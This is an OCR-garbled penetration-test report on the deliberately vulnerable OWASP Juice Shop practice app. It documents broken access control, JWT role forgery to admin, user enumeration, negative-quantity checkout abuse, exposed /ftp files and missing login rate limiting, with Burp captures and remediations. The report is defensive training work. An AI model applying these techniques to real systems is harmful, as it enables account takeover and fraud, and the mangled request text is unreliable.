KAk mk2dUxdgliaT &

Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */+
sec-ch-ua: "Chromium";v="145", "Not:A-Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
chrome/145.0.0.0 Safari/s37.36
sec-ch-ua-mobile: 70
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3000/
4 Accept-Encoding: gzip, deflate, br
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
continueCode=QmD87MqER20V91Z3xb XNpPAywdzWSXXhk yGBLaDkeSWjmQnJ IEOQVK=rYLyW; token=
0eXA1 01 JKV1Qi LCIhDGC1 01 ISUZT INLJ9. ey J2dGFOAXMi 01 JzdWN] ZXNZT1wi ZGFOY ST 6ey IpZCI6Mj MSTnVzZ

ETag: W/"3b2- VYreH7smdmK62e/FYXanbksROBC"

, 21 Mar 2026 11:31:52 GMT
Connection: keep-alive
Keep-Alive: timeout=5

"Products"

idv:s,
“name* :"Eggfruit Juice (Sooml)",

T72026-03-21T08:41:17.6672" ,
2026-03-21T08:41:17.6672",

*description®:"Now with even more exotic flavour.",

"price":8.99,
"deluxePrice”:8.99,

D € > search £ ongiights DG € > | search

VULN-004 — evidence 3

Impact: Unauthorised access to other users' basket data and purchasing behaviour, with potential for

data theft or order manipulation.

Remediation: Server-side authorisation to verify basket ownership; use indirect (session-based)
references instead of sequential IDs; monitor for anomalous access.



VULN-005: Broken Object Level Authorization — Forged Feedback
B cvss 7.1 | A01:2021 - Broken Access Control | POST /api/Feedbacks

Description: Feedback can be submitted on behalf of other users by manipulating the userid field. The
server does not validate that the authenticated user may act as the specified user ID, enabling

impersonation.

Proof of concept: APOST to /api/Feedbacks with a manipulated userid (e.g. 1, the admin) returned
HTTP 201 Created, with the feedback appearing under the target user.

@2 BUD  PrOjECt Intruger  Kepeater View  Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder

1 2 3 4 6 7 8 [ 10 n X 12 P
m () Cancel <> +¢ Burp Al
Request

Pretty Raw Hex kN n =

1L.CI0b3RU2V] cmVOT i Tiwi aXNBY 3RpdmUi OnRydwUsT miy ZWFOZWRBACT 61 j TwMj Y tMDMEM;] EMDgEMZCEMDMUN
DE3I CswMDOWMCT S Tn\WZGFOZWRBACT 61  TwMj Y tMDMtM] EGHT I 6MTMENDAUNT g3I CswMDOWMCT STMRb GVOZWRBACT
6bnVsbHOSImLhdCTEMTC3NDASOTUNXO. EmBy AKS ybnROT SwKT71tki MeTHRvU - fHHbzFrUxSWDdesk 1_LmkoooPa2
UPF222f at - Wf OEOVCgOpKSVEMO3KTp- 7Vbe r CSi HCImuU2WY BSUe P C7TERZgAEWbnaZz52yLhmx Xxa 1PbekHOsSapn
OHULXFSV Vi Z8UOOBI ahMk5_o

5 Accept-Language: en-US,en;q=0.9

7 sec-ch-ua: "Chromium';v="145",

sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/145.0.0.0 safari/s37.36

) Accept: application/json, text/plain, */*

Content-Type: application/json

Origin: http://127.0.0.1:3000

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

5 Referer: http://127.0.0.1:3000/

7 Accept-Encoding: gzip, deflate, br

& Cookie: language=sn; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=
yJ0eXAi 01 JKV1Qi LCIhbGei 03 ISUZT 1Ni J9. ey ) zdGFOAXMi O J zdWNj ZXN2T 1 wi ZGFOY ST 6eyIpZCI6MTYSINV2Z
XJUYW1LI j0i Tiwi ZWlhahiwi 011 1dmSnaWSAanVpY 2Utc2qub3Ai LCIwY XNzd29y ZCT 61 j A1ZjkyMTQAY jRiNj BIN2R
hY2QuNGN] ZWVi Y j hmMWFmI i wi cm9sZST 6TmN1c3RvbWVyTiwi ZGVsdxhlVGIr Zw4i 01 T1LCISYXNOT GInaWSJcCT6T
JEyNy4wL] AUMST STnByb2ZpbGVIbWFnZST 61mFzc2Vocy IwdwJsaWMyal1hZ2VzL 3Vwh GShZHMY ZGVmY XVsdCSzdme
1LCI0b3RWLIZV] CmVOT j 01 T1wi aXNBY 3RpdmUi OnRy dWUSTmNy ZWFOZWRBACT 61  Twij Y tMDMEM] EqMDGSMzCEMDMUN
DE3I CswMDOWMCT STn\WZGFOZWRBACT 61 J TwMj Y tMDMtM] EGMT 1 6MT MENDAUNT g3I CswMDOWMCT STmRLb GVOZWRBACT
6bnVsbHOSImLhdCIEMT C3NDASOTUZNXO . EmBy AKS ybnROI SWKT 71 thiMeIHRvU - fHHbzFrUxSWDdesk 1_LmkoooPa2
UPF222f at-Wf OEOVCgOpKSYEMO3KTp - 7Vbe rCSi HCAMUWY BSUeuPf C7ERZgaBWbnaZz52yLhmx Xxa1PbkHOSSapn
OHUUXFSVViZ8UOOBI ahMkS_o; continueCode=
0qBOMKpEPMY L 2x6r DE2agd9DSBBhNPTEycNCGQAL3QknIwe XRY 4vbNyS71W

"Not:A-Brand";v="99"

GEWRN

OB« >

Done

Search pel 0 highlights ~ Selection: 73 (0x49)

VULN-005 — evidence 1

= .OWASP Juice Shop

You successfully solved a challenge: Forged Feedback (Post some feedback in another user's name.)

Comparer

BUPP SUIte LomMUNITY EQItIoN V2U.Z6.2.3 - [émporary Project

Logger Organizer Extensions Discover

Response

Pretty Raw Hex

Render

1 HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
3 X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’
6 X-Recruiting: /#/jobs
7 Location: /api/Feedbacks/11

& Content-Type: application/json; charset=utf-8
o Content-Length: 159
0 ETag: W/"9f-LXEDzB2DwqCrceBo3bMFqows/GE"
Vary: Accept-Encoding
Date: Sat, 21 Mar 2026 15:08:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5

16 {
“status":"success”,
"data’:{

"idel

"updatedAt® : " 2026-03-21T15:08:18.2237",
"createdAt” : " 2026- 03- 21T15: 08: 18. 2232"

QP ¢« >

Search £ | ohighlights

Customer Feedback

© Max. 160 ¢!

Rating

CAPTCHA: Whatis 7+7+8 ?

VULN-005 — evidence 2

Target: http://127.0.0.1:3000 f HTTI

Inspector w@ = =
Request attributes 2)
Request query parameters 0 N
Request cookies 5 N
Request headers. 18 N
Response headers EERINEN

578 bytes|1,

0
Q @ Account W YourBasket @DEN

Impact: User impersonation, fraudulent or defamatory content under trusted accounts (e.g. admin), and

damage to application integrity and trust.



Remediation: Derive the user ID from the authenticated session/JWT, not client input; reject mismatched
Userld; add audit logging.



VULN-006: JWT Manipulation — Privilege Escalation
CVSS 9.1 | A01:2021 Broken Access Control / A02:2021 Cryptographic Failures | Authorization:

Bearer <token>

Description: JWTs can be decoded, modified and re-signed to escalate privileges. Changing the role
claim from customer to admin produced a token the server accepted, granting the admin panel,
application configuration and admin-level actions.

Proof of concept: The manipulated role:admin token was accepted across endpoints: /rest/admin/
application-configuration returned 200 OK, /#/administrator loaded, and a review via PUT /rest/

products/30/reviews returned 201 Created.

Request

Pretty Raw Hex I o=
1 POST /rest/user/login HTTP/1.1

2 Host: localhost:3000

3 Content-Length: 67

4 sec-ch-ua-platform: "Linux"

S Accept-Language: en-US,en;q=0.9

6 Accept: application/json, text/plain, */*

sec-ch-ua: "Not(A:Brand";v="8",
Content-Type: application/json
sec-ch-ua-mobile: 70
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit /537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36

11 Origin: http://localhost:3000

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

S Referer: http://localhost:3000/

16 Accept-Encoding: gzip, deflate, br

17 Cookie: chat_session_id=
af92caB5-c564-4513-8c7d-b421d6337cd7; language=en;
welcomebanner_status=dismiss;
cookieconsent_status=dismiss; continueCode=
nPXJnKYBGovpOlaykRDlz4rQAGrSVVhNmT1oASZb 7WgwEx VL98
3NMme2j PqE

"Chromium";v="144"

[
owow

20 {

"email": "muturiwamwanginanyawira@gmail .com",
"password":"12345678"

VULN-006 — evidence 1

Response

Pretty

NV s w

1]

HoH e
WNHOW

o

un

Raw Hex

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8
Content-Length: 836

ETag: W/"344-ZXnHF7Sc3lynhNnOC/b/Jvh2Quo"
Vary: Accept-Encoding

Date: Mon, 16 Mar 2026 18:20:09 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{
"authentication":{

"token":
"eyJ0eXA101JKV1QiLCIhbGci01JSUZI1NLI9. ey JzdGFOdXM101JzdWN] ZXNzIiwiZGFO
YSIGeyJIpZCIGMj UsInVzZXJuYW1lIjoiTIiwiZWlhawWwiOiJtdXR1lcml 3YW13YWSnaWShbn
Thd2lyYUBnbWFpbC5j b201iLCIwYXNzd29y ZCI6Ij I1ZDUL1YWQy ODNhYTQwMGFmNDYGYzc2
ZDcxM2MwN2Fk Iiwicm9sZSIGImMNLc3RvbWVy IiwiZGVsdXh1VGIrZw4i0iIiLCIsYXNOTG
9naWSJcCIBIiIsInByb2ZpbGVIbWFNZSIGI1i9he3NLdHMycHVibGL L21tYWdlcy9leGxv
YWRzL2R1 ZmF1bHQuc3ZnIiwidGOOcFNLY3J1dCIGIiIsIml zQWNNOaXZlIjpOcnVLLCIjcm
VhdGvkQXQi0iIyMDI2LTAzLTE2IDE20] U40j ESLj USMiArMDAGMDALLCI1cGRhdGVkQXQ1
0iIyMDI2LTAzLTE2IDE40] Ey0j USL] MyOCArMDAGMDALLCIk ZWx1 dGVkQXQiOmS1bhGx9LC
JpYXQi0j E3NzM20DUyMTBY. jWDgDd_va__Yp73wkzVmMLJ1DRgcI26PgXWOxyuDzW0ooI2
7NG6j 7-114fgALfMmi6Db1l mZCt g90XcWy VmYabl qwW7Lq64IGKudOhNye7z5F-131iiczBLa
7Rq-zY1Kop7QVNYZFevUjpie99d71cGzcN_AfUI3uPQLdKEEPFCR7U",
"bid":7,
"umail": "muturiwamwanginanyawira@gmail .com"



¢« C @ O 8 wwwjwtio 70% @ 9

-3) Import bookmarks... Sec Kali Linux # KaliTools « KaliDocs ¥ Kali Forums e\ Kali NetHunter » [ Other Bookmarks

Get up-to-speed with JSON Web Tokens. Get the JWT Handbook for free 7

4= JWT Debugger Debugger  Introduction  Libraries  Ask

Decoded Payload

JSON  Claims Breakdown

Public Key Format PEM v

Enter the pul

VULN-006 — evidence 2

Impact: Complete privilege escalation to administrator, full admin panel and configuration access, product
modification, user-data access and any administrative function.

Remediation: Strong randomly-generated signing key (=256-bit); verify the signature on every request;
prefer RS256 with asymmetric keys; never trust client role claims; enforce token expiry and rotation.



VULN-007: Sensitive Data Exposure via User Enumeration in Reviews

CVSS 5.3 | A01:2021 — Broken Access Control | GET /rest/products/{id}/reviews

Description: Product review responses expose reviewers' email addresses, allowing enumeration of user

accounts.

Proof of concept: The response for product reviews revealed emails including admin@juice-sh.op .
These feed directly into the SQLI authentication-bypass vector (VULN-001).

¢ @ 127.00

J§ OWASP Juice Shop

All Products

VULN-007 — evidence 1

Apple Juice
(1000ml)

ana Juice

(1000ml)
The all-time classic.

Reviews (2)

admin@juice-sh.op
One of my favorites!

j@ahninja.com
Nice .

ou like or dislike?

@ Max. 160 characters

Best Juice

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2026.2.3 - Temporary Project - & X
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover * Q>
Intercept HTTP history WebSockets history Match and replace {8} Proxy settings
Y Filter settings: Hiding CSS and image content; hiding specific extensions Pro version only Q @ rFiteron @

£ Host A Method  URL Params Edited  Statuscode  Length MIMEtype Extension Title Notes s P Cookies Time Listener port  Start respons..

505  http/127.0.01:3000 GET Jrestjuser/whoamirfield v 304 304 127001 15031521 M... 8080 16

506  http//127.0.01:3000 GET [restlproductsh/reviews 304 305 127001 15031521 M... 8080 2

507  http/127.0.01:3000 GET [rest/products/i/reviews 304 305 127.001 15031521 M... 8080 7

508 http/127.0.01:3000 GET [restlproducts/i/reviews 304 305 127001 15031521 M... 8080 9

509  httpi127.0.01:3000 PATCH  [rest/products/reviews v 200 649 JSON 127.001 15032321 M... 8080 2

600  http:/127.0.01:3000 GET [restiproducts/i/reviews 304 305 127.001 15032321 M... 8080 2

601  http/127.0.01:3000 GET  frestlproductshi/reviews 304 305 127001 15032321 M.. 8080 9

602 http127.0.01:3000 GET [rest/products/i/reviews 304 305 127.0.01 150324 21M... 8080 7

603 _http://127.0.01:3000 POST __frestiproducts/reviews v 200 664 JSON 127001 15:03:26 21M... 8080 165

604 httpi/127.0.01:3000 GET 1reviews 200 685 JSON 127001 15:0327 21 M..._8080 i

605  http/127.0.0.1:3000 GET [rest/products/i/reviews 304 305 127.001 15032721 M... 8080 8

606  http//127.0.01:3000 GET [restlproducts/i/reviews 304 305 127001 15032721 M... 8080 7

607  httpi/127.0.01:3000 POST  [rest/products/reviews v 200 700 JSON 127.001 150328 21M... 8080 73

608 http/127.0.01:3000 GET [restiproducts/i/reviews 200 713 ISON 127001 150328 21M... 8080 10

609 http//127.0.01:3000 GET [restlproducts/i/reviews 304 305 127001 150328 21M... 8080 5

610 httpi127.0.01:3000 GET [rest/products/i/reviews 304 305 127.0.01 150328 21M... 8080 9

Request Response m  Inspector = a
&
Pretty  Raw  Hex = pretty Raw  Hex  Render = Requestattributes 2 A =
—_— [ °
GET /rest/products/1/reviews HTTP/1.1 "1 e gtatust s "success" Protocol HTTP)2 2
2 Host: 127.0.0.1:3000 . : ’ g
3 sec-ch-ua-platform: *Linux* data®: = I
{ Name Value &
1 Authorization: Bearer imessage®:*0ne of my favoritest®
yJ0eXA1 01 JKV1Qi LCIhbGEi 01 JSUZT 1N J9. ey zdGFOAXMI 01 J2dwNj ZXNZT iwi ZGFOY ST6ey JpZCI6Mj MSInVzZ ot rad oot Method GET >
XIUYWLLI § 01 11 wi ZWIhabtwi 01 JqQGFobmluamEuY 20t 1 wi cGFzc 3dvemQi 01 ) LMTBhZGMZOT QY mELOWF YmULNMU e @ e Sh- 0Py Path frestiproductshifrevie.. > B
WNT dmMj BmODgzZST sTnJvbGUi 01 33 dXNOb211ci TSTmRUbHVAZVRva2VUT j 0i T wi bGFzdExvZ2LUSXAi 01 Twlj AuM A eetoumte 0 N
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"message" : "Nice",
vauthor® :*j@ahninja. com" 4
“likesCount*:1,
*likedey*: [
"j@ahninja.com®
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Impact: Exposure of user Pll, enabling targeted attacks such as SQLi login bypass, phishing and social
engineering.

Remediation: Mask reviewer emails (e.g. a***n@juice-sh.op); field-level access controls; use display
names instead of emails in public reviews.

VULN-008: Authorization Bypass — Unauthenticated /api/Users
B cvss7.5 | A01:2021 - Broken Access Control | GET /api/Users

Description: The /api/Users endpointis accessible without authentication, returning user IDs, emails
and roles, allowing an unauthenticated attacker to enumerate all users and identify privileged accounts.

Proof of concept: AGET to /api/Users with no Authorization header returned HTTP 200 and a JSON
array of all users, including admin@juice-sh.op (role: admin).
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VULN-008 — evidence 1

Impact: Full enumeration of accounts, exposure of emails and roles, and direct identification of admin
accounts for targeted attacks.

Remediation: Require authentication on /api/Users; enforce RBAC limiting enumeration to admins; return

only minimal fields.



VULN-009: Weak Password Policy

M cvsss.a | A07:2021 - Identification and Authentication Failures | POST /api/Users, POST /
rest/user/login

Description: Registration and login accept extremely weak passwords such as 12345678 with no
complexity requirements, leaving accounts open to brute-force and credential stuffing.

Proof of concept: An account was created with the password 12345678 and authenticated without
restriction, returning a valid JWT.
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Host: localhost:3000
Content-Length: 67
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, #/%
sec-ch-ua: "Not(A:Brand";v="8",
"Chromium";v="144"

Content-Type: application/json
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit /537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36
Origin: http://localhost: 3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost: 3000/
Accept-Encoding: gzip, deflate, br
Cookie: chat_session_id=
af92ca85-c564-4513-8c7d-b421d6337cd7;
; welcomebanner_status=dismiss;
cookieconsent_status=dismiss; contz

anguage=en

{

"email": "muturiwamwanginanyawira@gmail .com",
"password“:"1234567d'
1
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VULN-009 — evidence 1
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Render = \n

Vary: Accept-Encoding
Date: Mon, 16 Mar 2026 17:00:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
"authentication":{

"token":
"eyJOeXA101JKV1QiLCIhbGci01JSUzI1IN1JS. e
yJzdGFOdXM101JzdWNj ZXNzIiwiZGFOYSIGey Jp
ZCIBMjUsINVzZXJuYW1lIjoiIliwiZWlhaWwi0Oil
tdXRlcml 3YW13YWSnaWShbnlhd2l yYUBnbWFpbhC
57 b201LCIWYXNzd29y ZCI6Ij I1ZDULYWQy ODNhY
TQWMGFmNDYOYzc2ZDcxM2MwN2Fk Iiwicm9sZSI6
ImN1c3RvbWVyIiwiZGVsdXhlVGIrZw4i01IilCl
sYXNOTGONaWSJcCIGIj AuMCAwLj ALLCIwcmSmaw
xLSW1hZ2Ui0iIvYXNzZXRzL3B1lYmxpYy9pbWFnZ
XMvdXBsb2Fkcy Sk ZWZhdWxOLNN2Zy IsInRvdHBT
ZWNyZXQ1i01IiLCJIpcOF] dGL 2ZSI6dHI1ZSwiY3]
1YXRL ZEFOIj 0iMj AyNiOwMy OxNiAxNj 010Dox0S
410TIgKzAwOj AwIiwidXBkYXRLZEFOIj 0iMj AyN
10wMyOxNiAxNj 010Dox0S410TIgKz AwOj AwIiwi
ZGVsZXRL ZEFOI]jpudWxsfSwiaWFOIjoxNzczNjg
wNDUx fQ.HGat Qv6zScm5S3SRoztay JQLETUQLT] z
AUugp7NKj yzpHMSOHL mSUOL uIl RES92zEUAOEGY
1QEAWN08sr9qIBPhVOVA4chfCs8_P2NYAFmweES
rGylXz_hsNE9sDb rHxKPVENR] NE80OxbvKvuIGLb
SWQ_SWKL1vwhvTpZAe2zk7c",

"bid":7,

"umail":

0 highlights

Impact: Accounts vulnerable to brute-force, dictionary and credential-stuffing attacks.

Remediation: Enforce =12-char complex passwords; validate strength client- and server-side; check
against breached-password databases; add lockout / progressive delays.



VULN-010: Verbose Error Messages — Information Disclosure
CVSS 5.3 | A05:2021 — Security Misconfiguration | POST /api/BasketItems

Description: Invalid input triggers verbose errors exposing internal file paths, the database type (SQLite),
module structures and raw SQL queries.

Proof of concept: A negative-quantity request returned a 500 error exposing internal paths (e.g. .../
node_modules/sequelize/lib/dialects/abstract/query-interface.js ), the database type, and raw
SQL INSERT statements.
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VULN-010 — evidence 2



Impact: Exposure of backend stack, database type and directory structure, significantly aiding SQLi and
business-logic abuse.

Remediation: Custom generic error handling for clients; log details server-side only; disable stack traces
in production; sanitise error responses.



VULN-011: Business Logic Flaw — Negative Quantity Accepted
B cvss7.4 | A04:2021 - Insecure Design | POST /api/BasketItems

Description: Basket operations inconsistently validate quantity. Adding a new product with a negative
guantity (e.g. -100) is accepted, producing negative line and order totals, confirmed through a completed
checkout.

Proof of concept: A basket with Banana Juice (qty -100, total -199) and a Sticker Page (qty -80, total
-899.1) checked out to a final total of -1097.31 and -90 bonus points.
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VULN-011 — evidence 2

Impact: Financial manipulation via negative-value orders, potential monetary loss or fraudulent credit,
and loyalty-point abuse.



Remediation: Server-side validation rejecting quantities < 1; consistent input validation before DB
operations; checkout checks rejecting negative totals; alert on anomalous values.

VULN-012: Sensitive File Exposure via Directory Listing (/ftp)
M cvsss3 | A05:2021 - Security Misconfiguration | GET /ftp

Description: The /ftp directory is publicly accessible without authentication, exposing backups
( package.json.bak , coupons_2013.md.bak ), config files ( suspicious_errors.yml), order documents
and other internal resources.

Proof of concept: The /ftp listing revealed files including acquisitions.md,
announcement_encrypted.md, coupons_2013.md.bak, incident-support.kdbx, legal.md, order PDFs,
package.json.bak and suspicious_errors.yml.

~1ftp

b6346374950ada.pdf
Ji order_5267-6a819be0adf35704pdf J-) order_5267-a24831165¢976872.pdf Ji) order_{f57-652261155342876.pdf

package-lock json.bak package json.bak suspicious_errors.ym

VULN-012 — evidence 1

Impact: Exposure of sensitive internal files and backups, disclosure of application structure, access to
order documents, and increased risk of targeted attacks.

Remediation: Disable directory listing; remove or restrict /ftp; require auth on file-serving endpoints; move
sensitive files outside the web root.

VULN-013: Missing Rate Limiting on Authentication
m CVSS 5.3 | A07:2021 — Identification and Authentication Failures | POST /rest/user/login

Description: The login endpoint has no rate limiting, allowing unlimited login attempts. Automating the top
500 RockYou passwords produced no blocking, throttling or CAPTCHA.

Proof of concept: All 500 password attempts from the RockYou wordlist were processed without rate
limiting, lockout or CAPTCHA.

Impact: Enables brute-force and credential-stuffing, especially combined with the weak password policy
(VULN-009).

Remediation: Rate-limit the login endpoint (e.g. 5/min); account lockout after failures; progressive delays;
CAPTCHA after repeated failures; alert on brute-force patterns.

OWASP Juice Shop is a public practice target; this document demonstrates methodology and hands-on testing, not a confidential
client engagement.
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